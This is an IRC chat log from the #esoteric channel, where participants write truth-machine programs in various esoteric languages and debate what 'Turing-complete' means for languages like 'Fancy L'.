17:05:51 <elliott> '',23258,0,0,0.302840059147,'20110707024222',23595,2505),(967,0,'Spoon','',13058,0,0,0.468207379054,'20091112102619',16406,1751),(968,0,'LNUSP','',8342,0,0,0.035222082197,'20100428170446',17439,2667),(969,0,'Iag','',7871,0,0,0.063484546935,'20110401221642',21680,2093),(970,0,'Kipple','',11179,0,0,0.312570431762,'20101219051748',20514,3281),(971,0,'SMETANA','',12346,0,0,0.01475467089,'20110511152523',22747,3896),(973,2,'Rune','',5247,0,0,0.2022800
17:05:52 <ais523> with different values each time
17:05:56 <elliott> 78643,'20101124003549',7785,512),(974,2,'Graue','',6707,0,0,0.021217745259,'20080714005918',12063,209),(975,0,'Homespring','',9261,0,0,0.02780164489,'20110107230704',20691,1259),(976,2,'Pgimeno','',3847,0,0,0.16126854167,'20101124003540',14015,949)
17:06:00 <elliott> Gregor: I just want the (page_title, page_counter) fields from that, one page per line
17:06:03 <elliott> Eagerly awaiting the appropriate Perl script, thx
17:06:09 <elliott> Then you can have yer page :P
17:06:24 <ais523> yay, my INTERCAL program works
17:06:26 <ais523> DO WRITE IN .1 DO COME FROM .1 (1) DO READ OUT .1 PLEASE GIVE UP
17:06:33 <ais523> now I'll put it in the article
17:07:38 <ais523> Gregor: test it yourself if you don't believe me
17:07:45 <Ngevd> I think this is only a popular problem because it is on the popular problems page
17:07:49 <ais523> hmm, I wonder if that's the first time I've ever written an INTERCAL program correctly first time
17:08:05 <ais523> Ngevd: we're making it a popular problem, so it can reasonably go there
17:08:14 <ais523> hmm, is writing a deadfish interp on that page? because it should be
17:08:37 <ais523> oh, it's lumped into "interpreter"
17:10:05 <elliott> http://esolangs.org/w/index.php?title=Popular_problem&curid=1135&diff=30415&oldid=30383 :p
17:10:18 <olsner> I wonder what the context was for my stealing quote
17:10:38 <ais523> `pastlog olsner.*stealing is more appropriate
17:10:48 <olsner> `pastelog olsner.*stealing is more appropriate
17:10:56 <elliott> olsner: ais523 didn't typo
17:11:15 <elliott> our log scripts are designed for naming confusion :D
17:11:19 <olsner> I was just about to say that pastlog made sense as an alias for pastelog
17:11:35 <Gregor> `run ln -s pastelogs bin/pastelog
17:11:38 <HackEgo> ln: creating symbolic link `bin/pastelog': File exists
17:11:52 <Gregor> `run ls -l bin/pastelog
17:11:55 <HackEgo> -rwxr-xr-x 1 5000 0 602 Feb 22 17:11 bin/pastelog
17:12:01 <Gregor> `run ls -l bin/pastelogs
17:12:03 <HackEgo> -rwxr-xr-x 1 5000 0 602 Feb 22 17:12 bin/pastelogs
17:12:03 <elliott> <Gregor> `run ln -s pastelogs bin/pastelog
17:12:09 <elliott> This is an extraordinarily stupid command to run.
17:12:12 <ais523> looks like it's been cped rather than lned
17:12:23 <elliott> Since ./pastelogs doesn't exist.
17:12:26 <ais523> `pastlog stealing is more
17:12:35 <HackEgo> 2011-10-02.txt:00:44:04: <elliott> `addquote <olsner> I think stealing is more appropriate
17:12:38 <Gregor> elliott: So, you don't get how symlinks work then. Hooplah.
17:12:53 <olsner> `run ls -l bin/pastlog
17:12:58 <HackEgo> 2012-02-22.txt:17:12:51: <ais523> `log 2011-10-01
17:13:03 <ais523> elliott: symlinks are relative to the symlink itself
17:13:05 <HackEgo> -rwxr-xr-x 1 5000 0 102 Feb 22 17:13 bin/pastlog
17:13:31 -!- ais523 has set topic: http://64.62.173.65/logs/_esoteric/ | 1 days since somebody new showed up actually looking for the /right/ definition of "esoteric" | This channel now has three members who are neither from Hexham nor Finland | (And 48 who are lying scoundrels) | http://esolangs.org/wiki/ has moved servers!.
17:13:39 * ais523 swats Gregor with oerjan's flyswatter -----###
17:14:17 <elliott> ais523: hey, you ruined the log URL
17:14:19 <ais523> it's hard to know what to do better, though
17:14:22 <Gregor> Wha, what am I being swatted for?
17:14:37 <ais523> Gregor: pushing the links off the end of the portion of the topic /my/ client shows
17:15:28 <olsner> oh, there it is... http://64.62.173.65/logs/log/_esoteric/2011-10-02#004215olsner
17:15:45 -!- Gregor has set topic: http://codu.org/logs/_esoteric/ | 1 days since somebody new showed up actually looking for the /right/ definition of "esoteric" | This channel now has three members who are neither from Hexham nor Finland | (And 48 who are lying scoundrels) | http://esolangs.org/wiki/ has moved servers!.
17:15:53 <Gregor> If it's not going to look like a scam, it may as well have the real hostname.
17:16:00 <ais523> elliott: <olsner> I think stealing is more appropriate if you do it by copying the useful parts of the code (rather than e.g. building a library out of the reusable parts)
17:16:48 <olsner> <olsner> what [if] you could actually *steal* code so that the other project has to rewrite it or infiltrate your project to steal it back
17:16:50 -!- elliott has set topic: http://5z8.info/getPersonalData-start_i1b6qg_back-to-africa | 1 days since somebody new showed up actually looking for the /right/ definition of "esoteric" | This channel now has three members who are neither from Hexham nor Finland | (And 48 who are lying scoundrels) | http://esolangs.org/wiki/ has moved servers!.
17:17:16 <olsner> (that was much better than the other thing I said about stealing, IMO)
17:17:28 <elliott> `addquote <olsner> what a world it would be if you could actually *steal* code so that the other project has to rewrite it or infiltrate your project to steal it back
17:17:31 <HackEgo> 808) <olsner> what a world it would be if you could actually *steal* code so that the other project has to rewrite it or infiltrate your project to steal it back
17:17:46 -!- jix has quit (Quit: Lost terminal).
17:17:51 <ais523> elliott: an URL shortener that's designed to produce suspicious-looking URLs?
17:18:02 <ais523> also, CLC-INTERCAL's networking allows you to steal variables from other processes
17:18:06 -!- jix has joined.
17:18:06 <ais523> which causes them to not have them any more
17:18:44 <elliott> http://esolangs.org/wiki/Brainfuck_constants all the TOC links are broken
17:19:45 <ais523> /* <-- Deadfish Interpreted Computer Language --> */
17:19:48 <ais523> that's a worrying comment syntax…
17:20:08 <ais523> olsner: if the variable's read-only at the time, you can't steal it, because that would change it
17:20:12 <ais523> but you can smuggle a copy of it instead
17:21:16 <olsner> intercal cares about preserving the values of read-only variables?
17:21:30 <ais523> olsner: it cares /that deeply/
17:21:38 -!- tzxn3 has joined.
17:21:49 <olsner> I'm surprised, are you sure there isn't some keyword that will let you do it anyway?
17:22:11 <ais523> (more to the point, it gives a possibility for unavoidable and unhandlable fatal errors that you can't do anything about and aren't your fault)
17:22:52 <ais523> elliott: http://esolangs.org/wiki/Deadfish#dc
17:22:59 <ais523> what are the odds that the non-code section of that were written by zzo38?
17:23:47 <elliott> ais523: the code section was too
17:24:10 <ais523> err, that actually makes sense, in retrospect
17:24:14 <elliott> ais523: can we /please/ delete [[Cobol on Cogs]]? I just had to remove it from the /language list/
17:26:42 <ais523> what's your favourite Scheme-related report revision?
17:27:39 <elliott> or maybe 4, but probably 5
17:27:49 <elliott> however, 7 looks like it might become my favourite
17:28:03 <elliott> as they essentially reverted to 5 and decided to do the exact opposite of 6
17:28:13 <elliott> which means they're actually making reasonable changes
17:28:25 -!- Phantom_Hoover has quit (Remote host closed the connection).
17:29:35 -!- Phantom_Hoover has joined.
17:29:52 <ais523> haha, this anagolf deadfish thing is crazy
17:30:01 <ais523> instead of !=256, the winning person did !~56
17:30:23 <ais523> which means "interpret 56 as a string representation of a regexp, and check to see if the argument doesn't match it"
17:31:54 <elliott> wait, how does /that/ work?
17:32:39 <ais523> it just happened to hit all the test cases
17:32:43 <Ngevd> I've done a truth tester in Piet
17:33:23 <elliott> Ngevd: do you mean truth-machine?
17:33:52 <elliott> it seems "I know it's not a popular problem since I'm probably the only one who has made them, but..." is turning into a self-defeating prophecy :)
17:34:04 <elliott> ais523: btw, do you think Clue (Keymaker) is TC?
17:34:16 <olsner> what's a truth-machine?
17:34:17 <ais523> I haven't really looked into it
17:34:44 <ais523> olsner: a program that takes input (which is always going to be 0 or 1, undefined behaviour in other cases), and outputs it once and halts if it's 0, or forever in an infinite loop if it's 1
17:34:45 <elliott> olsner: http://esolangs.org/wiki/Truth-machine
17:34:46 -!- sebbu2 has changed nick to sebbu.
17:35:36 <ais523> @pl \x -> (if x == 0 then id else cycle) x
17:35:36 <lambdabot> join (flip (flip if' id . (0 ==)) cycle)
17:35:51 <ais523> > join (flip (flip if' id . (0 ==)) cycle) 0
17:36:33 <lambdabot> [[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[]...
17:36:37 <lambdabot> *Exception: Prelude.cycle: empty list
17:36:48 <ais523> I'd assume that cycle [] would be []
17:36:55 <ais523> as it can't reasonably be anything else
17:37:03 <ais523> and I meant repeat, not cycle
17:37:13 <ais523> :t \x -> (if x == 0 then id else cycle) x
17:37:31 <elliott> ais523: hmm, I'm writing a truth-machine in Forte
17:37:38 <elliott> it's easy apart from the infinite-loop part
17:37:48 <ais523> be careful not to run out of numbers
17:37:51 <Jafet> You're so impartial.
17:37:59 <elliott> http://sprunge.us/TTKi is what I have so far
17:38:20 <ais523> elliott: 202 PROFIT, obviously
17:38:38 <ais523> more seriously, start with a value higher than 666, so that you don't have clashes
17:38:42 <elliott> (diff | hist) . . m Brainfuck/w/index.php?title=Talk:Brainfuck/index.php; 17:33 . . (-90) . . Ehird (Talk | contribs | block) (Reverted edits by Ehird (talk) to last revision by Chris Pressey)
17:38:47 <ais523> then you have two lines, each of which increases the other's number
17:38:52 <elliott> did I hit rollback accidentally or something?
17:39:02 <ais523> that looks like a rollback to me
17:39:23 <ais523> 1000 LET 999=999+2 \ 1001 LET 1000=1000+2
17:39:38 <ais523> that's the usual way to do an infinite loop in Forte, assuming that 2 still has its original value
17:39:49 <elliott> hmm, I think I'll wait until I'm more awake to do it in Forte
17:40:01 <ais523> it's 5:40pm, how are you not awake?
17:46:53 * elliott writes his first befunge-93 program
17:47:18 <elliott> ah, and of course it's buggy
17:48:06 <Ngevd> Gonna try to do a Whenever one
17:48:12 <elliott> nicely laid out, if I do say so myself
17:55:52 <elliott> Deewiant: Sigh, you shame me :(
17:55:55 <elliott> quintopia: It's a truth-machine
17:55:57 <elliott> http://esolangs.org/wiki/Truth-machine
17:56:37 <elliott> Deewiant: You can replace mine if you want :P
17:57:27 <elliott> ais523: hey, how do you do input of a 0 or 1 digit in underlambda? ;)
17:57:35 <quintopia> it is the opposite of a truth machine
17:59:50 <ais523> elliott: I don't know, I/O is one of the big hangups in underlambda
18:00:13 <Deewiant> Actually, the zero is superfluous in both of these
18:00:34 <Deewiant> elliott: You need to negate before the & for that
18:00:43 <Gregor> I suddenly have a strong urge to add a "featured page" box to the main page with a Droste-ish image of the main page as the featured page.
18:00:46 <elliott> Deewiant: I don't think so.
18:00:51 <elliott> Horizontal if = left if true.
18:00:52 <Deewiant> elliott: (Unless I misremembered _'s order: I tend to)
18:00:59 <elliott> Which, yes, is bass-ackwards.
18:01:51 <Ngevd> I've got a Whenever program, but I'm not sure if it's compliant
18:01:55 <Ngevd> 2 defer(1) print("0") 3#-1;
18:01:56 <Ngevd> 3 defer(2) print("1") 3#1;
18:02:33 <elliott> Deewiant: Dose the first one not work?
18:02:40 <Deewiant> The first one skips over the & at the start
18:04:35 <Deewiant> Hint: the canonical "print string" is >:#,_
18:05:54 <elliott> I can't figure out why #.&# :#:_.@ doesn't work on 1 :(
18:06:06 <elliott> But I don't see why, since _ is testing a 1
18:06:28 <Deewiant> You need to skip the @ from the right side
18:06:35 <Ngevd> Can anyone check my Whenever program there?
18:06:46 <elliott> Deewiant: Why? I should never go right towards it in the 1 codepath
18:06:53 <elliott> Deewiant: Try it on input 1
18:06:55 <Deewiant> elliott: It goes left towards it
18:07:01 <elliott> TYes, it does, but it skips it
18:07:12 <Deewiant> elliott: That's not how # works in Befunge-93
18:08:17 <Deewiant> elliott: Also, that one doesn't halt in ccbi --befunge93, at least. :-P
18:08:58 <elliott> Deewiant: Yeah, I'm using some crappy JS impl
18:09:30 <ais523> I think I beat both of you, although it has a stack overflow in it
18:09:58 <ais523> just because funge-space wraps, doesn't mean program execution has to
18:10:38 <elliott> ais523: It'd be nice to have one with constant stack usage, though
18:10:49 <ais523> yep, sadly removing either : doesn't work
18:11:19 <elliott> I'll put mine and yours on
18:11:22 <elliott> Deewiant: &#::_.@# is nicer
18:11:56 <elliott> Deewiant: Mine uses O(1) stack
18:12:05 <Deewiant> elliott: But it's a bigger 1 than my 1
18:12:37 <ais523> bleh, I need to physically be in the computer labs to do this GPU programming
18:12:46 <ais523> I can remote into the servers just fine, but they try to run it on my local GPU
18:12:51 <ais523> which isn't made by NVidia
18:13:08 <ais523> (kind of interesting that the program can run on the local GPU through an ssh -Y tunnel)
18:13:52 <Jafet> Run it on the remote X server instead?
18:14:13 <ais523> but it's actually drawing to the screen, or trying to
18:14:24 <ais523> I can run it on the remote server without issues, but then I can only get text output back
18:14:30 <ais523> which is no good, as I'm meant to be testing the UI
18:14:35 <elliott> haha, I just independently rewrote ais523's
18:14:38 <Deewiant> elliott: &# :_:.@# is one char longer but it uses less O(1) stack
18:14:45 <Jafet> I wonder if OpenCL even allows this.
18:14:59 <ais523> surely, it's not an OpenCL issue at all?
18:15:09 <ais523> it's up to the X server what GPU it decides to run on, I guess
18:15:24 <elliott> Deewiant: As far as O(1) stack usage goes, I'm only interested in a shorter program :P
18:15:37 <Jafet> OpenCL is irrelevant because you are using CUDA.
18:15:42 <Jafet> I'm just complaining that OpenCL sucks.
18:16:38 <ais523> Jafet: well, I'm using an Intel graphics card, so I'm not using CUDA
18:16:49 <ais523> there is an NVidia graphics card on the server I'm trying to remote into, but it seems to be irrelevant
18:17:06 <ais523> (and if you'd ever wondered why servers needed top-of-the-range graphics cards, this is the explanation)
18:18:05 <Jafet> I thought you said that it would only run on nvidia GPUs.
18:18:45 <mRoman> I've got a truth machine in Madbrain.
18:18:56 <mRoman> Sadly, a thruth machine is not turing complete.
18:19:11 <ais523> Jafet: it does only run on nvidia GPUs
18:19:18 <ais523> because CUDA's an NVidia thing
18:19:59 <Jafet> http://www.supermicro.nl/products/nfo/files/gpu/SW7046GT_FC405.jpg
18:24:40 <mRoman> I still think Madbrain can not be turing complete
18:28:06 <mRoman> unless somebody finds a way to duplicate data
18:29:12 <mRoman> ie if someone finds a program in madbrain, which reads one number from the user and outputs it twice
18:32:56 <ais523> mRoman: can't you just use control flow to duplicate data?
18:33:00 <elliott> ais523: hey, do you think this direct quote is a copyvio? http://esolangs.org/wiki/Bub
18:33:12 <elliott> it could be fair use, I suppose
18:33:15 <ais523> do an if statement to determine between 0 and 1, then push twice
18:33:28 <ais523> I suspect it's fair use
18:33:56 <Ngevd> Done a MarioLang Truth Machine for fun.
18:34:00 <Ngevd> Should I put on page?
18:34:09 <mRoman> ais523: if also destroys data
18:34:22 <mRoman> if(a>b) <- you lose a and b
18:34:28 <ais523> mRoman: doesn't matter, the data, when destroyed, survives in the control flow
18:34:44 <ais523> then you can get the data-dependent bit of the control flow to push the same data back twice
18:35:11 <quintopia> like if (a=0) push 0, push 0. if (a=1) push 1. push 1. repeat for all a
18:36:05 <ais523> quintopia: actually, it's more like if(a=0) push 0, push 0 else push 1, push 1
18:36:08 <elliott> wait, I forgot I could be doing these edits as a bot
18:36:10 <ais523> because a isn't preserved by the comparison
18:36:17 <elliott> might as well bloat recent changes more now that I've started
18:36:25 <quintopia> ais523: havent actually read the madbrain spec
18:37:21 -!- ais523 has set topic: logs: http://5z8.info/getPersonalData-start_i1b6qg_back-to-africa | 1 days since somebody new showed up actually looking for the /right/ definition of "esoteric" | This channel now has three members who are neither from Hexham nor Finland | (And 48 who are lying scoundrels) | http://esolangs.org/wiki/ has moved servers!.
18:37:27 <mRoman> http://codepad.org/ZpDXbI41 <- that can print the number twice
18:37:31 <ais523> that URL doesn't look like a logs URL at all
18:37:34 <mRoman> if and only if the number is either 0 or 1
18:37:46 <ais523> and 0 and 1 is all you need
18:38:15 <mRoman> which would make it indeed turing complete
18:38:16 <ais523> more interesting, at least for me, is the way that there's no way to push to the bottom of the stack, but a whole bunch of commands pop from there
18:38:25 <ais523> so the question is about whether you can get infinite storage
18:38:26 <quintopia> the code for duplicating a bigger number (written as a string of 1s and 0s) might be complicated?
18:39:18 <quintopia> probably just nested ifs will do it
18:39:40 <mRoman> if does not compare the two top-most elements
18:39:44 <ais523> btw, I'm disappointed by your link, I was hoping codepad would do Madbrain
18:40:09 <mRoman> it compares the element at the top with the element at bottom
18:40:59 <mRoman> duplicating a number with 2 bits is already complicated enough
18:43:48 <ais523> the trick with such languages is to typically not try to treat them like regular languages
18:43:56 <ais523> you could quite possibly do cyclic tag in madbrain, for instance
18:44:21 <Ngevd> I think I've done a Numeric Topline one
18:45:08 <ais523> I think literals, g and q are by themselves enough for TCness
18:45:36 <ais523> hey, Madbrain isn't categorised
18:45:52 <elliott> 183 recent changes entries today
18:45:55 <elliott> that has to be some kind of record
18:46:34 <elliott> mRoman: did you invent it in 2010?
18:46:45 <Ngevd> Wow, and almost all of them are non-spam!
18:46:54 <elliott> Ngevd: 100% of them, actually
18:47:02 <Ngevd> This new wiki is AWESOME
18:47:02 <ais523> actually, regular tag is simpler than cyclic tag
18:47:07 <Ngevd> Go Alan Turing year!
18:47:18 <ais523> mRoman = Feuermonster?
18:48:08 <mRoman> nearly two years and it's still not proofen to be either turing-complete or non-turing-complete :)
18:49:45 <ais523> I'm working on a tag system -> madbrain compiler right now
18:50:03 <ais523> how do I make that interp read the file to input from the command line, rather than always opening input.mb? I don't really know Python
18:50:59 <Ngevd> Or rather, Python 2.x or 3.x
18:51:07 <mRoman> f=open(sys.argv[1],"rb")
18:51:21 * elliott reformats http://esolangs.org/wiki/Truth-machine
18:52:01 <mRoman> if you mean in a "readline" style then open(raw_input(),"rb")
18:52:38 <mRoman> f=open(sys.argv[1],"rb"); then
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18:53:36 <elliott> ais523: The 'b' is redundant unless you care about Windows and want binary newlines.
18:53:56 <ais523> but I was just making a minimal change to the program
18:53:58 <elliott> ais523: Also, you probably want "with open(...) as f:"
18:54:05 <ais523> to the existing interp, that is
18:54:07 <elliott> for deterministic resource allocation
18:54:30 <mRoman> deterministic resource allocation?
18:55:14 <elliott> mRoman: There's no guarantee that the file handle will be closed in a timely fashion if you just open() and leave the finaliser to close it.
18:55:26 <elliott> CPython uses refcounting so it will, but other implementations don't and there's no guarantee CPython always will.
18:55:32 <elliott> Admittedly, leaking one file handle is not the biggest deal in the world.
18:56:00 <mRoman> file handles should be freed by the os on program termination anyway
18:56:15 <ais523> mRoman: first line in the Madbrain program is numbered 1?
18:56:34 <mRoman> It uses an array. So it is zero based.
18:56:52 * ais523 thinks this sounds suspiciously like an implementation detail
18:57:10 <mRoman> Then you'd better not look at Stlang.
18:57:19 <mRoman> That has python implementation details hidden all over the place ;P
18:57:49 <elliott> ais523: btw, is it just me or is the "enhanced" recent changes worse than the normal recent changes?
18:58:21 <ais523> it's less useful, indeed
18:59:51 <Gregor> Oy, all your commit summaries are /so British/.
19:00:29 <mRoman> The r opcode is also an implementation detail I guess.
19:01:54 <mRoman> if you want to read from stdin you should change it to
19:02:00 <mRoman> elif(l[i]=="r"):s.append(int(sys.stdin.read(1)))
19:02:06 <ais523> how do I do a no-op in madbrain? or can't I?
19:02:37 <ais523> should be mentioned in the spec, reallyt
19:02:48 <mRoman> any char which is not an opcode is a nop
19:03:14 <elliott> -ise is not even en-gb-x-oed, so it's not that british :)
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19:14:08 <ais523> hmm, why isn't this working?
19:14:37 <elliott> ais523: why isn't what working?
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19:14:48 <Ngevd> What's people's opinions on Solaris?
19:15:09 <elliott> Ngevd: the proprietary version is Oracle-controlled
19:15:15 <elliott> but solaris is famous for being fairly crappy as far as userland goes
19:15:26 <elliott> ais523: btw, we don't know that the constants on [[brainfuck constants]] are optimal, do we?
19:15:47 <ais523> well, some are provably optimal, like + fo r1
19:15:57 <Ngevd> Because I have came into possession of a CD containing a copy of Solaris 11 through possibly mildly illegal means
19:16:23 <elliott> ais523: I was thinking that since they establish lower bounds that reduce the program-space vastly, and since two of BF's instructions can't be used in them, it might be feasible to brute-force better ones
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19:17:16 <elliott> [22/Feb/2012:19:16:47 +0000] "GET /wiki/Jot HTTP/1.1" 200 6227 "http://en.wikipedia.org/wiki/Iota_and_Jot"
19:17:28 <elliott> it's a good thing WP has articles on a bunch of non-notable esolangs, or we'd get no traffic
19:20:06 <ais523> anyone know here if a 2-tag system with an alphabet of size 9 can be TC?
19:20:24 <ais523> I'm reasonably sure it can be, 9's easily large enough
19:20:30 <ais523> even if one's a halt state
19:21:42 <elliott> the new MediaWiki diff colours are so weird and new
19:21:52 <elliott> http://www.mediawiki.org/w/index.php?title=MediaWiki&diff=55218&oldid=54686
19:24:08 <Ngevd> You know who'd know if my Whenever program would work or not?
19:25:54 <elliott> GET /w/index.php?title=Special:UserLogin&type=signup&returnto=Talk%3AMain_Page?title=Special:UserLogin&type=signup&ret...
19:27:48 <elliott> ais523: hmm, now I'm confused -- "Turing-equivalent" is identical to "Turing-complete" when said of a language, right?
19:28:09 <ais523> no, according to mark chu-carroll, "turing-complete" is meaningless for a language
19:28:28 <Ngevd> Nah, Banana Scheme and its ilk are Turing complete but not Turing equivalent
19:28:30 <elliott> if turing-complete is meaningless for a language, surely turing-hard is as well?
19:28:30 <ais523> a turing-complete program is one that can only be implemented in a turing-equivalent language
19:28:39 <elliott> Ngevd: no, banana scheme and its ilk are _not_ turing-complete
19:29:07 <elliott> one day I'm going to figure out what complexity theorist invented the "complete" and "hard" terminology
19:29:07 <Ngevd> They can implement arbitrary Turing machines
19:29:17 <elliott> Ngevd: yes, but that isn't what Turing-complete means (if anything)
19:29:18 * ais523 goes ahead and says "turing complete" on the wiki mainspace anyway
19:29:27 <elliott> ais523: but <elliott> if turing-complete is meaningless for a language, surely turing-hard is as well?
19:30:02 * elliott thinks we should use the wiki to POV-push our favourite pedantically-correct terms for things, but is too confused about this one to figure out whether we should or not
19:31:39 <Gregor> As far as I'm concerned, "Turing-hard" means "capable of implementing a universal Turing machine," and "Turing-complete" means both Turing-hard and "capable of being implemented by a Turing machine." That last one's a bit tricky since it gets into nitty issues of encoding and such, but I think usually gives the right idea.
19:32:14 <Ngevd> I thought Turing-Hard meant "I/O aside, cannot be implemented on a Turing Machine"
19:32:19 <ais523> and Madbrain proof is on the wiki now
19:32:26 <elliott> Gregor: The former admits <fancy L>.
19:32:28 <ais523> mRoman: that wasn't difficult, you should have asked me earlier :)
19:32:36 <elliott> Gregor: You need some universal quantification in there.
19:32:53 <elliott> (http://esolangs.org/wiki/%E2%84%92)
19:33:18 <Gregor> elliott: The whole point of "Turing-hard" is to admit such languages.
19:33:46 <elliott> Gregor: Huh? But that's irrelevant to languages that can do "all UTMs + more".
19:34:01 <elliott> Your definition of TH and TC both admit fancy-L.
19:34:29 <Gregor> Wait wait, m-- argh, Fancy L seriously ruins everything always.
19:35:02 <elliott> Gregor: Turing-hard should be "capable of implementing every universal Turing machine".
19:35:10 <elliott> Your definition of TC can stay unchanged.
19:35:43 * elliott thinks basing things on Turing machines might be a mistake, since they're so unlike most languages.
19:35:50 <Gregor> Anyway, the terms are all still silly since "Turing" isn't a computational class.
19:35:52 <elliott> They're more like CAs than languages, really.
19:36:15 <elliott> Gregor: So what should we call things that can implement all UTMs, and what should we call things that are equivalent to UTMs?
19:38:24 <Ngevd> So, all Steves are Bills, but not all Bills are Steves
19:38:39 <Ngevd> Except for the Steves that are fancy L
19:38:54 <Ngevd> Also, should I email DMM concerning my Whenever program?
19:39:12 <Ngevd> http://esolangs.org/wiki/%E2%84%92
19:39:12 <ais523> hmm, the truth machine is actually really quite a good concept for showing off languages
19:39:35 <Ngevd> Screw this, I'm sending this email
19:39:48 <elliott> ais523: yes, it's inspired
19:40:00 <mRoman> ais523: I don't even know what a tag system is and how they work ;)
19:40:24 <elliott> There's an article for that!
19:40:24 <elliott> http://esolangs.org/wiki/Tag_system
19:40:28 <elliott> "A tag system is a restricted kind of Post normal system where productions can only be uniquely selected based on the first symbol of each of their antecedents."
19:40:32 <elliott> Okay, maybe that's not very helpful.
19:40:35 <mRoman> your compiled example programm apparently leaves the stack in a state of
19:40:38 <ais523> mRoman: they're on my list of "things to compile into languages to prove them TC"
19:40:45 <elliott> But the definition section is a bit clearer!
19:40:46 <mRoman> of [3, 3, 3, 3, 3, 3, 1]
19:40:51 <Sgeo> Choose a particular value for L and P, map turing machines to programs written for that L and P
19:40:56 <Sgeo> There, that's a mapping
19:41:00 <Sgeo> Am I missing something?
19:41:00 <elliott> heh, that article used to be even "better": http://esolangs.org/w/index.php?title=Tag_system&oldid=1342
19:41:05 <Ngevd> Well, in other news, I passed that Open University module
19:41:11 <ais523> mRoman: <Esolang's article on tag systems> H3333331 (halt).
19:41:17 <Ngevd> `quote Open University
19:41:20 <HackEgo> 653) [in the context of Open University] <Ngevd> "Unlike other operating systems, Linux operating systems use Linux"
19:41:20 <elliott> seems like R.e.s. has left the wiki :(
19:41:30 <mRoman> except that the H is missing ;)
19:41:38 <ais523> how do you put an H on the stack? :)
19:41:53 <elliott> ais523: hey, should I install Cite on Esolang?
19:41:54 <mRoman> but I have no idea what
19:42:01 <ais523> elliott: what does it do?
19:42:06 <ais523> mRoman: it doesn't mean anything, it's abstract
19:42:08 <elliott> ais523: <ref> and <references>
19:42:13 <elliott> http://esolangs.org/wiki/Tag_system and http://esolangs.org/wiki/P%E2%80%B2%E2%80%B2 currently both fake it
19:42:20 <ais523> if you think it'd be useful
19:42:46 * elliott is mostly just annoyed at the inconsistent formatting of footnotes :P
19:42:48 <ais523> mRoman: not all languages work the same way; tag systems are mindblowingly low-level
19:42:54 <ais523> it's like asking what 01001101 means
19:43:21 <ais523> anyway, you might find http://en.wikipedia.org/wiki/Tag_system helpful
19:43:31 <Ngevd> In even more news, I am fairly confident elliott is real
19:44:18 <Gregor> elliott: Hmmmmmm, Sgeo has a point and I don't recall what the answer is; if you choose to map all UTMs to a fixed L, P, then your mapping's range isn't all possible fancy-L programs, but it's still a valid mapping ...
19:45:03 <mRoman> but why is the 1 dropped?
19:45:13 <mRoman> 211 -> 1331 (not 11331)
19:45:19 <elliott> Gregor: Well the mapping has to preserve semantics :P
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19:45:37 <Gregor> elliott: So? Your L,P /is/ a UTM.
19:46:17 <Gregor> OK, I pick any L, and P as an implementation of a UTM.
19:46:19 <elliott> The original L was Pascal and the original P was a brainfuck interpreter.
19:46:25 <elliott> That results in the *language*.
19:46:32 <elliott> So it's ℒ(Pascal,BF interpreter) you have to prove Turing whatever.
19:46:53 <mRoman> seems like it always removes 2 digits
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19:47:01 <mRoman> but just looks at the first.
19:47:15 <elliott> Gregor: In conclusion idgi :P
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19:47:27 <Gregor> Ohohoh, the problem is the quantification, duh. The claim is about fancy-L for all fancy-L.
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19:47:50 <Gregor> But I would argue that the mapping exists, it's just not discoverable.
19:48:45 <elliott> Gregor: I'm not sure what you mean >_>
19:48:49 <elliott> I think L and P are confusing things.
19:48:59 <elliott> They're essentially just an explanation device.
19:49:11 <elliott> They don't factor in any proofs of TCness or whatever because they're fixed right at the start of discussion to set a language.
19:50:31 <elliott> "The major criticism regarding Cite.php is that it renders the editing of references much more tedious. Moreover, because many casual Wikipedia users are not familar with the cryptic Wikitext tags that they find with the use of Cite.php, it is likely that the net effect of Cite.php is often to deter new users from making edits to reference sections. Although Wikipedia supposedly got its name from the Hawaiian word "wiki-wiki", meaning "quick-quic
19:50:31 <elliott> k", Cite.php is arguably neither quick nor easy for the average Wikipedia user."
19:50:41 <elliott> You know when you see a criticism section and it's immediately obvious it was written by one person?
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19:54:21 <Gregor> Yeah, I'm back to not getting fancy-L at all again.
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19:55:38 <elliott> Gregor: OK, let me explain it without any polymorphism.
19:55:51 <elliott> Fancy L is a language designed by blah in the year blah.
19:56:05 <elliott> There is one instruction: B -- reads a brainfuck program and input (in dbfi) from stdin, and runs it.
19:56:28 <elliott> (And no program can contain anything but a single B instruction.)
19:56:37 <elliott> (So "B" is the sole Fancy L program.)
19:57:18 <elliott> On the one hand, there is a Fancy L program that interprets arbitrary brainfuck programs, and brainfuck is TC. Proofs of TCness by implementing a brainfuck interpreter are very common.
19:57:26 <elliott> On the other hand, you cannot translate an arbitrary UTM into a Fancy L program.
19:59:00 <Gregor> I would argue that we've essentially just found a corner where our encoding is hurting us. Turing machines do not have input distinct from state. If you consider a program by that notion, such that the only way to consider a program in reduced-fancy-L is with both state (well, code) and input, then certainly it's TC. If not, then we can argue about pedantry forever :)
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19:59:46 <elliott> Gregor: Dude, the whole point of Fancy L is to poke at that ambiguity :P
20:00:02 <Gregor> Yeah, yeah, I know that X-D
20:00:10 <elliott> The idea is that we intuitively don't want Fancy L to be TC, so we need to use definitions of TCness that exclude it.
20:00:20 <elliott> But then we get the result that implementing BF in a language is *not enough* to prove it TC.
20:00:31 <Ngevd> Whether Fancy L is TC or not depends on how we ignore I/O
20:00:36 <elliott> And we have to write complicated compilers insteadd.
20:01:38 <elliott> Gregor: BTW, I'm not sure what I'm meant to be right about.
20:01:41 <elliott> I'm not sure what the topic is at all :P
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20:03:22 <Gregor> elliott: I was just viewing the whole problem wrong, since the point, as you said, is to poke at that distinction.
20:03:43 <Gregor> I do think the page could be written better :)
20:04:01 <elliott> I basically just copied cpressey's original description, IIRC.
20:04:04 <elliott> Let me find a link to it...
20:04:22 <elliott> Gregor: http://esolangs.org/wiki/Talk:Befunge/index.php
20:06:20 <mRoman> What is Fancy L anyway?
20:06:40 <Ngevd> Complex computer science that I don't fully understand.
20:07:07 <Phantom__Hoover> mRoman, an attempt to pry at some assumptions in the definition of Turing-completeness.
20:07:07 <Ngevd> http://esolangs.org/wiki/%E2%84%92
20:08:44 <Ngevd> It's simple in the problem it poses
20:08:49 <Ngevd> Complex in the solution to the problem
20:09:09 <mRoman> A language with one instruction which reads a BF program from stdin and interprets it?
20:09:45 -!- Phantom___Hoover has joined.
20:09:47 <Ngevd> Is that language Turing Complete?
20:09:49 <Gregor> elliott: His very first line on its description would have cleared up everything ;)
20:10:35 <elliott> Gregor: Good thing it's a wiki and you can edit it!
